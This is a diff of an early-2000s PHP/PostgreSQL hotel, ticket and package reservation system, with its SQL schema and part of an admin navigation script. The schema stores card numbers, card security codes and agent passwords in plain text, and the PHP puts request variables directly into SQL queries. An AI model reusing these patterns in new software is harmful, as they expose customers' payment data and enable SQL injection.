+ rooms int2,
+ single int2,
+ double int2,
+ queen int2,
+ king int2,
+ pullout int2
+ );
+REVOKE ALL on accom_type from PUBLIC;
+GRANT ALL on accom_type to nobody;
+REVOKE ALL on accom_type_id_seq from PUBLIC;
+GRANT ALL on accom_type_id_seq to nobody;
+
+-- Populate accom_type with default values
+
+
+-- Rate Class
+
+CREATE TABLE rate_class
+ (
+ id int2 UNIQUE NOT NULL,
+ name text,
+ descr text,
+ active bool,
+ promotion bool,
+ nights int2,
+ promo_descr text
+ );
+REVOKE ALL on rate_class from PUBLIC;
+GRANT ALL on rate_class to nobody;
+
+-- Populate rate_class with default values --
+
+INSERT INTO rate_class ( id,name,active ) VALUES ( 1,'AARP Rate','t' );
+INSERT INTO rate_class ( id,name,active ) VALUES ( 2,'AAA Rate','t' );
+INSERT INTO rate_class ( id,name,active ) VALUES ( 3,'','f' );
+INSERT INTO rate_class ( id,name,active ) VALUES ( 4,'','f' );
+INSERT INTO rate_class ( id,name,active ) VALUES ( 5,'','f' );
+
+
+-- Accomodations
+
+CREATE TABLE accommodation
+ (
+ id SERIAL,
+ member int4,
+ name text,
+ title text,
+ descr text,
+ image text,
+ quant int4,
+ occupants int2,
+ maxoccupants int2,
+ waterfront bool,
+ category int2,
+ rooms int2,
+ single int2,
+ double int2,
+ queen int2,
+ king int2,
+ pullout int2,
+ tv int2,
+ cable bool,
+ movies bool,
+ barrier_free bool,
+ smoke_free bool,
+ jacuzzi bool,
+ pets bool,
+ data_port bool,
+ ironing bool,
+ coffee bool,
+ refrigerator bool,
+ microwave bool,
+ save bool,
+ hair_dryer bool,
+ inside_entrance bool,
+ first_floor bool,
+ water bool,
+ electric int2,
+ sewer bool,
+ extracar bool,
+ pullthru bool,
+ shaded bool,
+ tent_site bool,
+ maxlength int2,
+ def_cancel_pol text,
+ def_descr text,
+ only_in_package bool
+ );
+REVOKE ALL on accommodation from PUBLIC;
+GRANT ALL on accommodation to nobody;
+REVOKE ALL on accommodation_id_seq from PUBLIC;
+GRANT ALL on accommodation_id_seq to nobody;
+
+-- Accomodation Inventory
+
+CREATE TABLE inventory
+ (
+ id SERIAL,
+ date date,
+ available int2,
+ normal_res bool,
+ mavb_package bool,
+ avail_package int2,
+ upgrade_price float4,
+ member int4,
+ accommodation int4,
+ inventory int4,
+ rate float4,
+ alt_rate1 float4,
+ alt_rate2 float4,
+ alt_rate3 float4,
+ alt_rate4 float4,
+ alt_rate5 float4,
+ add_adult float4,
+ add_child float4,
+ add_senior float4,
+ aaa_agent_sale bool,
+ cancel_policy text,
+ descr text
+ );
+CREATE INDEX date_index ON inventory (date);
+REVOKE ALL on inventory from PUBLIC;
+GRANT ALL on inventory to nobody;
+REVOKE ALL on inventory_id_seq from PUBLIC;
+GRANT ALL on inventory_id_seq to nobody;
+
+-- Reservation
+
+CREATE TABLE reservation
+ (
+ id SERIAL,
+ fname text,
+ lname text,
+ addr1 text,
+ addr2 text,
+ city text,
+ state text,
+
+ zip text,
+* country text,
+ phone text,
+ email text,
+ cctype text,
+ ccnumber text,
+ expire text,
+ ccname text,
+ cccode text,
+ confirmation int2,
+ email_ok bool,
+ date_entered date,
+ confirmed bool,
+ declined bool,
+ conf_numb text,
+ date_confirmed date,
+ conf_by text,
+ special_needs text,
+ discount_code text,
+ package int4,
+ member int4,
+ user_trace_info text,
+ rate_class int2,
+ vehicle_type text,
+ numb_vehicles text,
+ camping_types int2,
+ motorhome_slide text,
+ trailer_slide text,
+ tow_info text,
+ aaa_mode int2,
+ agent_id text,
+ notes text,
+ aaa_commission float,
+ aaa_discount float,
+ aaa_invoiced bool
+ );
+REVOKE ALL on reservation from PUBLIC;
+GRANT ALL on reservation to nobody;
+REVOKE ALL on reservation_id_seq from PUBLIC;
+GRANT ALL on reservation_id_seq to nobody;
+
+-- Reservation Segments
+
+CREATE TABLE res_segment
+ (
+ id SERIAL,
+ reservation int4,
+ date date,
+ inventory int4,
+ adults int2,
+ children int2,
+ seniors int2,
+ rate float,
+ quant int2
+ );
+REVOKE ALL on res_segment from PUBLIC;
+GRANT ALL on res_segment to nobody;
+REVOKE ALL on res_segment_id_seq from PUBLIC;
+GRANT ALL on res_segment_id_seq to nobody;
+
+
+-- Notes
+
+CREATE TABLE notes
+ (
+ id SERIAL,
+ reservation int4,
+ date timestamp,
+ notes text
+ );
+REVOKE ALL on notes from PUBLIC;
+GRANT ALL on notes to nobody;
+REVOKE ALL on notes_id_seq from PUBLIC;
+GRANT ALL on notes_id_seq to nobody;
+
+-- Ticket Category Definitions
+
+CREATE TABLE ticket_cat
+ (
+ id SERIAL,
+ name text
+ );
+REVOKE ALL on ticket_cat from PUBLIC;
+GRANT ALL on ticket_cat to nobody;
+REVOKE ALL on ticket_cat_id_seq from PUBLIC;
+GRANT ALL on ticket_cat_id_seq to nobody;
+
+-- Ticket Definitions (one entry for each type of ticket a vendor sells)
+
+CREATE TABLE ticket
+ (
+ id SERIAL,
+ member int4,
+ name text,
+ title text,
+ descr text,
+ image text,
+ quant int4,
+ category int2,
+ time text,
+ use_any_time bool,
+ persons_type1 text,
+ persons_type2 text,
+ persons_type3 text,
+ persons_type4 text,
+ persons_type5 text,
+ def_cancel_pol text,
+ def_purch_pol text,
+ def_times text
+ );
+REVOKE ALL on ticket from PUBLIC;
+GRANT ALL on ticket to nobody;
+REVOKE ALL on ticket_id_seq from PUBLIC;
+GRANT ALL on ticket_id_seq to nobody;
+
+-- Ticket Inventory
+
+CREATE TABLE ticket_inven
+ (
+ id SERIAL,
+ date date,
+ available int2,
+ member int4,
+ ticket int4,
+ persons_type1 text,
+ persons1_price float4,
+ persons_type2 text,
+ persons2_price float4,
+ persons_type3 text,
+ persons3_price float4,
+ persons_type4 text,
+ persons4_price float4,
+ persons_type5 text,
+ persons5_price float4,
+ cancel_policy text,
+ purch_policy text,
+ times text
+ );
+REVOKE ALL on ticket_inven from PUBLIC;
+GRANT ALL on ticket_inven to nobody;
+REVOKE ALL on ticket_inven_id_seq from PUBLIC;
+GRANT ALL on ticket_inven_id_seq to nobody;
+
+-- Ticket Purchase - Customer information
+
+CREATE TABLE ticket_cust
+ (
+ id SERIAL,
+ fname text,
+ lname text,
+ addr1 text,
+ addr2 text,
+ city text,
+ state text,
+ zip text,
+ country text,
+ phone text,
+ email text,
+ cctype text,
+ ccnumber text,
+ expire text,
+ ccname text,
+ cccode text,
+ confirmation int2,
+ email_ok bool,
+ date_entered date,
+ confirmed bool,
+ declined bool,
+ conf_numb text,
+ date_confirmed date,
+ conf_by text,
+ message text,
+ special_needs text,
+ discount_code text,
+ member int4,
+ user_trace_info text,
+ deliver_method text,
+ deliver_to text,
+ arrival_date text
+ );
+REVOKE ALL on ticket_cust from PUBLIC;
+GRANT ALL on ticket_cust to nobody;
+REVOKE ALL on ticket_cust_id_seq from PUBLIC;
+GRANT ALL on ticket_cust_id_seq to nobody;
+
+-- Tickets sold
+
+CREATE TABLE ticket_sold
+ (
+ id SERIAL,
+ customer int4,
+ date date,
+ ticket int4,
+ inventory int4,
+ persons_type1 text,
+ persons1_quant int2,
+ persons1_price float4,
+ persons_type2 text,
+ persons2_quant int2,
+ persons2_price float4,
+ persons_type3 text,
+ persons3_quant int2,
+ persons3_price float4,
+ persons_type4 text,
+ persons4_quant int2,
+ persons4_price float4,
+ persons_type5 text,
+ persons5_quant int2,
+ persons5_price float4
+ );
+REVOKE ALL on ticket_sold from PUBLIC;
+GRANT ALL on ticket_sold to nobody;
+REVOKE ALL on ticket_sold_id_seq from PUBLIC;
+GRANT ALL on ticket_sold_id_seq to nobody;
+
+-- Hotel Categories for Packages
+
+CREATE TABLE hotel_cat
+ (
+ id SERIAL,
+ name text,
+ descr text,
+ active bool
+ );
+REVOKE ALL on hotel_cat from PUBLIC;
+GRANT ALL on hotel_cat to nobody;
+REVOKE ALL on hotel_cat_id_seq from PUBLIC;
+GRANT ALL on hotel_cat_id_seq to nobody;
+
+-- Populate prop_type with default values
+
+INSERT INTO hotel_cat ( name, descr, active ) VALUES ( 'Economy', '', TRUE );
+INSERT INTO hotel_cat ( name, descr, active ) VALUES ( 'Standard', '', TRUE );
+INSERT INTO hotel_cat ( name, descr, active ) VALUES ( 'Deluxe', '', TRUE );
+INSERT INTO hotel_cat ( name, descr, active ) VALUES ( 'Deluxe Waterfront', '', TRUE );
+INSERT INTO hotel_cat ( name, descr, active ) VALUES ( 'Premium Waterfront', '', TRUE );
+INSERT INTO hotel_cat ( name, descr, active ) VALUES ( '', '', FALSE );
+INSERT INTO hotel_cat ( name, descr, active ) VALUES ( '', '', FALSE );
+INSERT INTO hotel_cat ( name, descr, active ) VALUES ( '', '', FALSE );
+INSERT INTO hotel_cat ( name, descr, active ) VALUES ( '', '', FALSE );
+INSERT INTO hotel_cat ( name, descr, active ) VALUES ( '', '', FALSE );
+
+
+
+-- Packages
+
+CREATE TABLE package
+ (
+ id SERIAL,
+ name text,
+ descr text,
+ image text,
+ days int2,
+ adult_price float4,
+ child_price float4,
+ comp1 int4,
+ comp2 int4,
+ comp3 int4,
+ comp4 int4,
+ comp5 int4,
+ comp6 int4,
+ comp7 int4,
+ comp8 int4,
+ comp9 int4,
+ comp10 int4,
+ sort int2
+ );
+REVOKE ALL on package from PUBLIC;
+GRANT ALL on package to nobody;
+REVOKE ALL on package_id_seq from PUBLIC;
+GRANT ALL on package_id_seq to nobody;
+
+
+-- Package Components
+
+CREATE TABLE package_comp
+ (
+ id SERIAL,
+ name text,
+ short_name text,
+ descr text,
+ image text,
+ voucher_req bool,
+ voucher_text text
+ );
+REVOKE ALL on package_comp from PUBLIC;
+GRANT ALL on package_comp to nobody;
+REVOKE ALL on package_comp_id_seq from PUBLIC;
+GRANT ALL on package_comp_id_seq to nobody;
+
+
+-- Package Season Types
+
+CREATE TABLE package_season
+ (
+ id SERIAL,
+ name text,
+ descr text,
+ color text,
+ cat1_price float4,
+ cat2_price float4,
+ cat3_price float4,
+ cat4_price float4,
+ cat5_price float4,
+ cat6_price float4,
+ cat7_price float4,
+ cat8_price float4,
+ cat9_price float4,
+ cat10_price float4,
+ child_price float4,
+ adult_price float4,
+ chart_days int,
+ chart_cat1 float4,
+ chart_cat2 float4,
+ chart_cat3 float4,
+ chart_cat4 float4,
+ chart_cat5 float4,
+ chart_cat6 float4,
+ chart_cat7 float4,
+ chart_cat8 float4,
+ chart_cat9 float4,
+ chart_cat10 float4,
+ chart_child float4,
+ chart_adult float4
+ );
+REVOKE ALL on package_season from PUBLIC;
+GRANT ALL on package_season to nobody;
+REVOKE ALL on package_season_id_seq from PUBLIC;
+GRANT ALL on package_season_id_seq to nobody;
+
+
+-- Package Dates
+
+CREATE TABLE package_dates
+ (
+ id SERIAL,
+ season int4,
+ start_date date,
+ end_date date
+ );
+REVOKE ALL on package_dates from PUBLIC;
+GRANT ALL on package_dates to nobody;
+REVOKE ALL on package_dates_id_seq from PUBLIC;
+GRANT ALL on package_dates_id_seq to nobody;
+
+-- Package Add-Ons
+
+CREATE TABLE package_addon
+ (
+ id SERIAL,
+ name text,
+ short_name text,
+ descr text,
+ image text,
+ adult_price float4,
+ child_price float4,
+ voucher_req bool,
+ voucher_text text,
+ sort int2
+ );
+REVOKE ALL on package_addon from PUBLIC;
+GRANT ALL on package_addon to nobody;
+REVOKE ALL on package_addon_id_seq from PUBLIC;
+GRANT ALL on package_addon_id_seq to nobody;
+
+-- Package Requests
+
+
+CREATE TABLE package_req
+ (
+ id SERIAL,
+ fname text,
+ lname text,
+ addr1 text,
+ addr2 text,
+ city text,
+ state text,
+ zip text,
+ country text,
+ phone text,
+ email text,
+ payby int2,
+ cctype text,
+ ccnumber text,
+ expire text,
+ ccname text,
+ cccode text,
+ confirmation int2,
+ email_ok bool,
+ special_needs text,
+ vehicle_type text,
+ numb_vehicles text,
+ camping_types int2,
+ length int2,
+ motorhome_slide text,
+ trailer_slide text,
+ tow_info text,
+ package int4,
+ nights int2,
+ rooms int2,
+ adults int2,
+ children int2,
+ todlers int2,
+ arrival_date date,
+ member int4,
+ accommodation int4,
+ addons text,
+ hotel_price float,
+ total_addons float,
+ package_price float,
+ tourism_tax float,
+ use_tax float,
+ insurance float,
+ date_entered date,
+ confirmed bool,
+ res_conf bool,
+ declined bool,
+ conf_numb text,
+ date_confirmed date,
+ conf_by text,
+ conf_message text,
+ user_trace_info text,
+ summary text,
+ aaa_mode int2,
+ agent_id text,
+ notes text,
+ aaa_commission float,
+ aaa_discount float,
+ aaa_invoiced bool
+ );
+REVOKE ALL on package_req from PUBLIC;
+GRANT ALL on package_req to nobody;
+REVOKE ALL on package_req_id_seq from PUBLIC;
+GRANT ALL on package_req_id_seq to nobody;
+
+
+-- AAA Agent Table
+
+CREATE TABLE aaa_agent
+ (
+ id SERIAL,
+ location text,
+ user_pw text,
+ user_id text,
+ lname text,
+ fname text,
+ title text,
+ email text
+ );
+REVOKE ALL on aaa_agent from PUBLIC;
+GRANT ALL on aaa_agent to nobody;
+REVOKE ALL on aaa_agent_id_seq from PUBLIC;
+GRANT ALL on aaa_agent_id_seq to nobody;
+
--- /dev/null
+<HTML>
+ <HEAD>
+ </HEAD>
+
+ <BODY>
+ Nothing here!
+ </BODY>
+
+</HTML>
\ No newline at end of file
--- /dev/null
+<?
+//
+// Reservation System
+// Copyright (c) 2002 by Gaslight Media Inc.
+//
+// Admin Interface
+//
+// FILE: action.phtml
+//
+
+// Get Siteinfo Data
+
+include( "../../siteinfo.inc" );
+include( SI_BASE_PATH."/functions.inc" );
+
+echo ' <HTML>
+<HEAD>
+<link rel="stylesheet" href="../main.css">
+<meta http-equiv="content-type" content="text/html;charset=utf-8">
+</HEAD>
+<BODY>
+<CENTER>
+<div id="toolbox">
+';
+
+// Display Top-Level Navigation
+
+echo ' <FONT SIZE="4"><B>Pellston Airport Members Administration:</B></FONT><BR>
+<SPAN CLASS="navlink">
+';
+
+if( $Action == "General Setup" || $Action == "Package Setup" )
+echo '[General Setup] ';
+else
+echo '<A HREF="'.SI_THIS_SCRIPT.'?Action=General+Setup">[General Setup]</A> ';
+
+if( $Action == "Member" || $Action == "Inventory" || $Action == "Tickets" || $Action == "Ticket Inventory" || $Action == "Member Pending" || $Action == "Tour Information" )
+echo '[Members] ';
+else
+echo '<A HREF="'.SI_THIS_SCRIPT.'?Action=Member">[Members]</A> ';
+
+echo ' </SPAN><BR>
+';
+
+
+// Second level Navigation
+
+
+// If a member has been selected, get their data
+
+if( $Action == "Member" && empty($member) && !empty($id) && $Option != "Add" )
+$member = $id;
+
+if( !empty($member) )
+ {
+ $m = db_auto_get_row( "SELECT * FROM member WHERE id = $member;", 0, SI_CONN_STR, FALSE );
+ // $mt = db_auto_get_row( "SELECT * FROM memb_type WHERE id = ".$m["memb_type"].";", 0, SI_CONN_STR, FALSE );
+ $member_name = $m["name"];
+ /*
+ if( $m["tour"] == 't' && ($tour_data = db_auto_get_row( "SELECT * FROM tour WHERE member = $member;", 0, SI_CONN_STR, FALSE )) )
+ $has_tour_data = TRUE;
+ else
+ */
+ $has_tour_data = FALSE;
+ }
+
+switch( $Action )
+ {
+
+ case "General Setup":
+ case "Member Type":
+ case "Property Type":
+ case "Hotel Category":
+
+ echo ' <B>General Setup:</B> <SPAN CLASS="navlink">
+ ';
+
+ if( $Action == "Member Type" )
+ echo '[Member Types] ';
+ else
+ echo '<A HREF="'.SI_THIS_SCRIPT.'?Action=Member+Type">[Member Types]</A> ';
+/*
+ if( $Action == "Property Type" )
+ echo '[Property Types] ';
+ else
+ echo '<A HREF="'.SI_THIS_SCRIPT.'?Action=Property+Type">[Property Types]</A> ';
+
+ if( $Action == "Hotel Category" )
+ echo '[Hotel Categories] ';
+ else
+ echo '<A HREF="'.SI_THIS_SCRIPT.'?Action=Hotel+Category">[Hotel Categories]</A> ';
+*/
+
+ echo '</SPAN><BR>';
+ break;
+
+ case "Member":
+
+ if( $Option == "Add" )
+ $member = "";
+
+ echo ' <B>Member:</B> <SPAN CLASS="navlink">
+ ';
+
+ if( $Option == "List" || $Option == "" )
+ echo '[List] ';
+ else
+ echo '<A HREF="'.SI_THIS_SCRIPT.'?Action=Member">[List]</A> ';
+
+ if( empty($member) || $Option == "View" || $Option == "Add" || $Option == "Add New" || $Option == "Confirm Delete" )
+ echo '[View] ';
+ else
+ echo '<A HREF="'.SI_THIS_SCRIPT.'?Action=Member&Option=View&member='.$member.'">[View]</A> ';
+
+ if( empty($member) || $Option == "Edit" || $Option == "Add" || $Option == "Add New" || $Option == "Confirm Delete" )
+ echo '[Edit] ';
+ else
+ echo '<A HREF="'.SI_THIS_SCRIPT.'?Action=Member&Option=Edit&member='.$member.'">[Edit]</A> ';
+
+ if( empty($member) || $Option == "Delete" || $Option == "Add" || $Option == "Add New" || $Option == "Update" || $Option == "Confirm Delete" )
+ echo '[Delete] ';
+ else
+ echo '<A HREF="'.SI_THIS_SCRIPT.'?Action=Member&Option=Delete&member='.$member.'">[Delete]</A> ';
+
+ if( $Option == "Add" )
+ echo '[Add] ';
+ else
+ echo '<A HREF="'.SI_THIS_SCRIPT.'?Action=Member&Option=Add&member='.$member.'">[Add]</A> ';
+
+ if( empty($member) || $Action == "Member Pending" || empty($m["p_address"]) || $Option == 'Approve' )
+ echo '[Pending Member Info] ';
+ else
+ echo '<A HREF="'.THIS_SCRIPT.'?Action=Member+Pending&Option=View&member='.$member.'">[Pending Member Info]</A> ';
+
+ echo '</SPAN><BR>';
+ break;
+
+ case "Member Pending":
+
+ echo ' <B>Member:</B> <SPAN CLASS="navlink">';
+ echo '<A HREF="'.THIS_SCRIPT.'?Action=Member">[List]</A> ';
+ echo '<A HREF="'.THIS_SCRIPT.'?Action=Member&Option=View&member='.$member.'">[View]</A> ';
+ echo '<A HREF="'.THIS_SCRIPT.'?Action=Member&Option=Edit&member='.$member.'">[Edit]</A> ';
+ echo '<A HREF="'.THIS_SCRIPT.'?Action=Member&Option=Delete&member='.$member.'">[Delete]</A> ';
+ echo '<A HREF="'.THIS_SCRIPT.'?Action=Member&Option=Add&member='.$member.'">[Add]</A> ';
+ if( empty($m["p_address"]) || $Option == 'Approve' )
+ echo '[Pending Member Info] ';
+ else
+ echo '<A HREF="'.THIS_SCRIPT.'?Action=Member+Pending&Option=View&member='.$member.'">[Pending Member Info]</A> ';
+
+ echo '</SPAN><BR>';
+ break;
+
+ }
+
+
+// Third level navigation - See start of each action type
+
+
+switch( $Action )
+ {
+
+ case "Member Type":
+ echo '<B>Member Types: </B><SPAN CLASS="navlink">';
+
+ if( $Option == "List" || $Option == "" )
+ echo '[List] ';
+ else
+ echo '<A HREF="'.SI_THIS_SCRIPT.'?Action=Member+Type">[List]</A> ';
+
+ if( $Option == "View" || $Option == "" || $Option == "Add" || $Option == "List" || $Option == "Add New" || $Option == "Update" || $Option == "Confirm Delete" )
+ echo '[View] ';
+ else
+ echo '<A HREF="'.SI_THIS_SCRIPT.'?Action=Member+Type&Option=View"&id='.$id.'>[View]</A> ';
+
+ if( $Option == "Edit" || $Option == "" || $Option == "Add" || $Option == "List" || $Option == "Add New" || $Option == "Update" || $Option == "Confirm Delete" )
+ echo '[Edit] ';
+ else
+ echo '<A HREF="'.SI_THIS_SCRIPT.'?Action=Member+Type&Option=Edit&id='.$id.'">[Edit]</A> ';
+
+ if( $Option == "Delete" || $Option == "" || $Option == "Add" || $Option == "List" || $Option == "Add New" || $Option == "Update" || $Option == "Confirm Delete" )
+ echo '[Delete] ';
+ else
+ echo '<A HREF="'.SI_THIS_SCRIPT.'?Action=Member+Type&Option=Delete&id='.$id.'">[Delete]</A> ';
+
+ if( $Option == "Add" )
+ echo '[Add] ';
+ else
+ echo '<A HREF="'.SI_THIS_SCRIPT.'?Action=Member+Type&Option=Add">[Add]</A> ';
+
+ echo '</SPAN><BR>';
+ break;
+
+ case "Property Type":
+ echo '<B>Property Types: </B><SPAN CLASS="navlink">';
+
+ echo '[List] ';
+ echo '[View] ';
+ echo '[Edit] ';
+ echo '[Delete] ';
+ echo '[Add] ';
+
+ echo '</SPAN><BR>';
+ break;
+
+ case "Rate Class":
+ echo '<B>Rate Class: </B><SPAN CLASS="navlink">';
+
+ if( $Option == "List" || $Option == "" )
+ echo '[List] ';
+ else
+ echo '<A HREF="'.SI_THIS_SCRIPT.'?Action=Rate+Class">[List]</A> ';
+
+ if( $Option == "View" || $Option == "" || $Option == "Add" || $Option == "List" || $Option == "Add New" || $Option == "Update" || $Option == "Confirm Delete" )
+ echo '[View] ';
+ else
+ echo '<A HREF="'.SI_THIS_SCRIPT.'?Action=Rate+Class&Option=View&id='.$id.'">[View]</A> ';
+
+ if( $Option == "Edit" || $Option == "" || $Option == "Add" || $Option == "List" || $Option == "Add New" || $Option == "Update" || $Option == "Confirm Delete" )
+ echo '[Edit] ';
+ else
+ echo '<A HREF="'.SI_THIS_SCRIPT.'?Action=Rate+Class&Option=Edit&id='.$id.'">[Edit]</A> ';
+
+ echo '[Delete] ';
+
+ echo '[Add] ';
+
+ echo '</SPAN><BR>';
+ break;
+
+ case "Hotel Category":
+ echo '<B>Hotel Categories: </B><SPAN CLASS="navlink">';
+
+ if( $Option == "List" || $Option == "" )
+ echo '[List] ';
+ else
+ echo '<A HREF="'.SI_THIS_SCRIPT.'?Action=Hotel+Category">[List]</A> ';
+
+ if( $Option == "View" || $Option == "" || $Option == "Add" || $Option == "List" || $Option == "Add New" || $Option == "Update" || $Option == "Confirm Delete" )
+ echo '[View] ';
+ else
+ echo '<A HREF="'.SI_THIS_SCRIPT.'?Action=Hotel+Category&Option=View&id='.$id.'">[View]</A> ';
+
+ if( $Option == "Edit" || $Option == "" || $Option == "Add" || $Option == "List" || $Option == "Add New" || $Option == "Update" || $Option == "Confirm Delete" )
+ echo '[Edit] ';
+ else
+ echo '<A HREF="'.SI_THIS_SCRIPT.'?Action=Hotel+Category&Option=Edit&id='.$id.'">[Edit]</A> ';
+
+ echo '[Delete] ';
+
+ echo '[Add] ';
+
+ echo '</SPAN><BR>';
+ break;
+
+ default:
+ break;
+
+ case "Member Pending":
+ echo '<B>Pending Member Info: </B><SPAN CLASS="navlink">';
+
+ if( $Option == "View" || $Option == 'Approve' )
+ echo '[View] ';
+ else
+ echo '<A HREF="'.THIS_SCRIPT.'?Action=Member+Pending&Option=View&member='.$member.'">[View]</A> ';
+
+ if( $Option == "Edit" || $Option == 'Approve' )
+ echo '[Edit] ';
+ else
+ echo '<A HREF="'.THIS_SCRIPT.'?Action=Member+Pending&Option=Edit&member='.$member.'">[Edit]</A> ';
+
+ if( $Option == "Delete" || $Option == 'Approve' )
+ echo '[Delete] ';
+ else
+ echo '<A HREF="'.THIS_SCRIPT.'?Action=Member+Pending&Option=Delete&member='.$member.'">[Delete]</A> ';
+
+ if( $Option == "Approve" || $Option == 'Approve' )
+ echo '[Approve] ';
+ else
+ echo '<A HREF="'.THIS_SCRIPT.'?Action=Member+Pending&Option=Approve&member='.$member.'">[Approve]</A> ';
+
+ echo '</SPAN><BR>';
+
+ break;
+
+
+
+ }
+
+
+// Fourth level navigation - See start of each action type
+
+
+switch( $Action )
+ {
+
+ default:
+ break;
+
+ }
+
+switch( $Action )
+ {
+
+ // Manage Member Types
+
+ case "Member Type":
+
+ if( !isset($name) ) $name = "";
+ if( !isset($start) ) $start = 0;
+
+ switch( $Option )
+ {
+
+ case "Add": // Enter new member type
+
+ admin_new_record
+ (
+ "memb_type",
+ SI_CONN_STR,
+ "name, text.40, Member Type Name, UNIQUE|"
+ ."descr, textbox.40.5, Description, FALSE|"
+ ."accommodations, checkbox, Member has accommodations, FALSE|"
+ ."service, checkbox, Type is a Service, FALSE",
+ SI_THIS_SCRIPT,
+ "Member Type",
+ "",
+ "<P><H2>Add New Member Type</H2>"
+ );
+
+ break;
+
+ case "Add New": // Add new member type
+
+ admin_add_new_record
+ (
+ "memb_type",
+ SI_CONN_STR,
+ "name, text, Member Type Name, UNIQUE, name|"
+ ."descr, text, Description, FALSE, descr|"
+ ."accommodations, checkbox, Member has accommodations, FALSE, accommodations|"
+ ."service, checkbox, Type is a Service, FALSE, service",
+ SI_THIS_SCRIPT,
+ "Member Type",
+ "",
+ "<P><H2>New Member Type Submitted</H2>"
+ );
+
+ break;
+
+ case "Edit": // Edit member type
+
+ admin_edit_record
+ (
+ "memb_type",
+ SI_CONN_STR,
+ $id,
+ "name, text, Member Type Name, UNIQUE, name|"
+ ."descr, textbox.40.5, Description, FALSE, descr|"
+ ."accommodations, checkbox, Member has accommodations, FALSE, accommodations|"
+ ."service, checkbox, Type is a Service, FALSE, service",
+ SI_THIS_SCRIPT,
+ "Member Type",
+ "",
+ '<P><H2>Edit Member Type</H2>
+ '
+ );
+
+ break;
+
+ case "Update": // Update member type
+
+ admin_update_record
+ (
+ "memb_type",
+ SI_CONN_STR,
+ $id,
+ "name, text, Member Type Name, UNIQUE, name|"
+ ."descr, text, Description, FALSE, descr|"
+ ."accommodations, checkbox, Member has accommodations, FALSE, accommodations|"
+ ."service, checkbox, Type is a Service, FALSE, service",
+ SI_THIS_SCRIPT,
+ "Member Type",
+ "",
+ '<P><H2>Edited Member Type Submitted</H2>
+ <A HREF="'.SI_THIS_SCRIPT.'?Action=Member+Type&Option=View&id='.$id.'">[View]</A><BR>
+ '
+ );
+
+ break;
+
+ case "Delete": // Delete Record
+
+ admin_delete_record
+ (
+ "memb_type",
+ SI_CONN_STR,
+ $id,
+ "name, text, Name|"
+ ."descr, text, Description",
+ "strong",
+ SI_THIS_SCRIPT,
+ "Member Type",
+ "",
+ '<P><H2>Delete Member Type</H2>
+ '
+ );
+
+ break;
+
+ case "Confirm Delete": // Confirm deletion of record
+
+
+
+ $x = db_auto_get_data( "SELECT id FROM member WHERE memb_type = $id;", SI_CONN_STR, FALSE, 10, 0 );
+ if( count($x) > 0 )
+ {
+ echo "<P><CENTER><H2>Can't delete this member type.</H2>
+ Can't delete a member type that is selected for any member.<BR> To delete this member type
+ change all members using this type to another type, then delete this member type.
+ </CENTER><P>
+ ";
+ exit;
+ }
+
+ admin_confirm_delete_record
+ (
+ "memb_type",
+ SI_CONN_STR,
+ $id,
+ "id, reference.member.memb_type, Member type in use.",
+ SI_THIS_SCRIPT,
+ "Member Type",
+ "",
+ '<P><H2>Confirm Delete Member Type</H2>
+ <A HREF="'.SI_THIS_SCRIPT.'?Action=Member+Type&Option=View&id='.$id.'">[View]</A><BR>
+ '
+ );
+ break;
+
+ case "View": // View Member Type
+
+ admin_view_record
+ (
+ "memb_type",
+ SI_CONN_STR,
+ $id,
+ "name, text, Member Type Name|"
+ ."descr, text, Description|"
+ ."accommodations, checkbox, Member has accommodations|"
+ ."service, checkbox, Type is a Service",
+ SI_THIS_SCRIPT,
+ "Member Type",
+ "",
+ '<P><H2>View Member Type</H2>
+ '
+ );
+
+ break;
+
+ default: // Display table of member types
+
+ admin_list_records
+ (
+ "memb_type", // Table Name
+ "", // Where clause
+ "name.nav_initials", // Order By clause
+ SI_CONN_STR, // Connect String
+ "name, text, Name|"
+ ."accommodations, checkbox, Accommodations?|"
+ ."service, checkbox, Service?",
+ "view,delete,filter,edit", // Options
+ FALSE, // Failure mode
+ 10, // Results/page
+ $start, // Starting result
+ SI_THIS_SCRIPT, // Return URL
+ "Member Type", // Return "Action"
+ "", // Additional Parameters
+ "name,text.any,Member Type Name Contains,$name", // Filters
+ "<P><H2>List of Member Types</H2>" // Title of page
+ );
+ break;
+
+ } // switch( $Option )
+
+ break;
+
+ // Manage Property Types
+
+ case "Property Type":
+
+ if( !isset($name) ) $name = "";
+
+ switch( $Option )
+ {
+
+ default:
+
+ // Display table of Property Types
+
+ admin_list_records
+ (
+ "prop_type",
+ "",
+ "id",
+ SI_CONN_STR,
+ "id, int, #|"
+ ."name, text, Name",
+ "",
+ FALSE,
+ 20,
+ $start,
+ SI_THIS_SCRIPT,
+ "Property Type",
+ "",
+ "name,text,Type Name,$name",
+ "<P><H2>List of Property Types</H2><BR>
+ (this list may not be edited)<BR>"
+ );
+ break;
+
+ } // switch( $Option )
+
+ break;
+
+ // Manage Hotel Categories
+
+ case "Hotel Category":
+
+ if( !isset($name) ) $name = "";
+
+ switch( $Option )
+ {
+
+ case "Add": // Enter new Hotel category
+
+ admin_new_record
+ (
+ "hotel_cat",
+ SI_CONN_STR,
+ "name, text.40, Hotel Category Name, UNIQUE|"
+ ."active, checkbox, Active, FALSE|"
+ ."descr, textbox.40.5, Description, FALSE",
+ SI_THIS_SCRIPT,
+ "Hotel Category",
+ "",
+ "<P><H2>Add New Hotel Category</H2>"
+ );
+
+ break;
+
+ case "Add New": // Add new Hotel Category
+
+ admin_add_new_record
+ (
+ "hotel_cat",
+ SI_CONN_STR,
+ "name, text, Hotel Category Name, UNIQUE, name|"
+ ."active, checkbox, Active, FALSE, active|"
+ ."descr, text, Description, FALSE, descr",
+ SI_THIS_SCRIPT,
+ "Hotel Category",
+ "",
+ "<P><H2>New Hotel Category Submitted</H2>"
+ );
+
+ break;
+
+ case "Edit": // Edit Hotel Category
+
+ admin_edit_record
+ (
+ "hotel_cat",
+ SI_CONN_STR,
+ $id,
+ "name, text.40, Hotel Category Name, UNIQUE|"
+ ."active, checkbox, Active, FALSE|"
+ ."descr, textbox.40.5, Description, FALSE",
+ SI_THIS_SCRIPT,
+ "Hotel Category",
+ "",
+ '<P><H2>Edit Hotel Category</H2>
+ '
+ );
+
+ break;
+
+ case "Update": // Update Hotel Category
+
+ admin_update_record
+ (
+ "hotel_cat",
+ SI_CONN_STR,
+ $id,
+ "name, text, Hotel Category Name, UNIQUE, name|"
+ ."active, checkbox, Active, FALSE, active|"
+ ."descr, text, Description, FALSE, descr",
+ SI_THIS_SCRIPT,
+ "Hotel Category",
+ "",
+ '<P><H2>Edited Hotel Category Submitted</H2>
